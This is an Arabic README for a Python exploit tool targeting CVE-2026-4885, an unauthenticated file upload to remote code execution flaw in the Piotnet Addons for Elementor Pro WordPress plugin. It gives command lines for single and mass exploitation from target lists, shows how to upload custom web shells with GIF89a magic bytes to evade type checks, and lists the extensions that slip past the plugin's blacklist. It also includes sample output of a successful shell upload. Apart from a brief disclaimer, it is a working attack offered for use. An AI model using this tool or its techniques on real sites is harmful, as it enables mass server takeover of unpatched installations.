CVE-2026-4885

Piotnet Addons for Elementor Pro <= 7.1.70 - رفع ملفات عشوائي غير مُصادَق → RCE

الوصف :

إضافة Piotnet Addons for Elementor Pro لـ WordPress معرّضة لرفع ملفات عشوائي بسبب غياب التحقق من نوع الملف في دالة pafe_ajax_form_builder في جميع الإصدارات حتى 7.1.70 وما دون. تستخدم الإضافة قائمة حظر امتدادات غير مكتملة تحظر فقط امتدادات php وphpt وphp5 وphp7 وexe، بينما تسمح برفع امتدادات خطيرة مثل .phar أو .phtml بحرية.

وهذا يتيح لـ المهاجمين غير المُصادَق عليهم رفع ملفات PHP عشوائية على خادم الموقع المتأثر، مما يؤدي إلى تنفيذ كود عن بُعد (RCE).

ملاحظة: لا يمكن تشغيل الاستغلال إلا إذا تمت إضافة حقل ملف إلى نموذج Piotnet.

معلومات : CVE-2026-4885

~ درجة CVSS : 9.8 (حرجة)

~ متجه CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

~ الإصدارات المتأثرة : <= 7.1.70

~ التصحيح : لا يتوفر تصحيح

~ نُشر علنًا : 18 مايو 2026

• الباحث : Wannes Verwimp
• إثبات المفهوم بواسطة : Shadow & Friska 🩷

السبب الجذري :

معالج AJAX الخاص بـ pafe_ajax_form_builder يقبل رفع الملفات دون تحقق مناسب:

// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];

// .phtml, .phar, .shtml etc. pass through freely ✓

مسار الرفع قابل للتسريب عبر إجراء AJAX غير مُصادَق pafe_export_database → تصدير CSV يحتوي على روابط الملفات الكاملة.

الاستخدام :

القائمة التفاعلية (الافتراضية) :

python3 shadow.py

  ╾────  MENU  ────╼

  1  ▶  one target
  2  ▶  mass scan
  3  ▶  exit

  [1/2/3] :

هدف واحد (CLI) :

python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml

أهداف جماعية (CLI) :

python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml

الخيارات :

-u, --url       Target URL
-f, --file      File with target URLs (one per line)
-s, --shell     Custom PHP shell file (GIF89a auto-prepended)
-t, --threads   Concurrent threads for mass mode (default: 5)
-h, --help      Show help

الميزات :

• 🩷 قائمة تفاعلية بالكامل (هدف واحد / فحص جماعي)
• ⚡ استطلاع متوازٍ غير متزامن — يزحف على الصفحات بشكل متزامن
• 🔍 اكتشاف تلقائي لـ form_id وpost_id وfield_name من HTML الصفحة
• 🪄 بايتات GIF89a السحرية متعددة الصيغ — لتجاوز فحوصات نوع الصورة
• 📡 تسريب الرابط عبر pafe_export_database (بدون مصادقة، بدون nonce)
• 🎯 التحقق من رفع الشيل (HTTP 200 + فحص تنفيذ PHP)
• 💾 حفظ النتائج تلقائيًا في shell.txt
• 🌐 وضع جماعي مع خيوط قابلة للتكوين + سيمافور غير متزامن
• ⚠️ تحذير الامتدادات المحظورة يظهر قبل مطالبة الرفع

الشيل :

جهّز ملف الشيل محليًا (مثل shadow.phtml) — بايتات GIF89a السحرية تُضاف تلقائيًا في البداية إذا كانت مفقودة.

الامتدادات المحظورة: .php .phpt .php5 .php7 .exe

استخدم بدلًا منها: .phtml .phar .shtml .php8 إلخ.

المخرجات :

╔══════════════════════════════════════════════════════════╗
║                                                          ║
║  ♡  CVE-2026-4885                                        ║
║  Piotnet Addons for Elementor Pro  <=  7.1.70            ║
║  Unauthenticated File Upload  →  RCE                     ║
║                                                          ║
║  by Shadow & Friska  ♡                                   ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝

  ╾────  VERSION  ────╼
  ♡  v7.1.67 <= 7.1.70  —  VULNERABLE

  ╾────  RECON  ────╼
  ◆  scanning 46 pages (parallel)...
  ♡  [PIOTNET]  https://target.com/contact
               post_id=9  |  form_id=72071c0
  ◆  using   : https://target.com/contact

  ╾────  EXPLOIT  ────╼
  ◆  post_id=9  |  form_id=72071c0  |  field=file
  ▶  trying .phtml ...
  ♡  uploaded  (.phtml)
  ♡  URL leak  : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml

  ╔══════════════════════════════════════════════════════════╗
  ║  ★  SHELL UPLOADED  (.phtml)                            ║
  ║                                                          ║
  ║  ◆  shell  : https://target.com/wp-content/...          ║
  ╚══════════════════════════════════════════════════════════╝

المتطلبات :

pip install httpx

إخلاء المسؤولية :

هذه الأداة لأغراض الاختبارات الأمنية التعليمية والمصرّح بها فقط.

الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.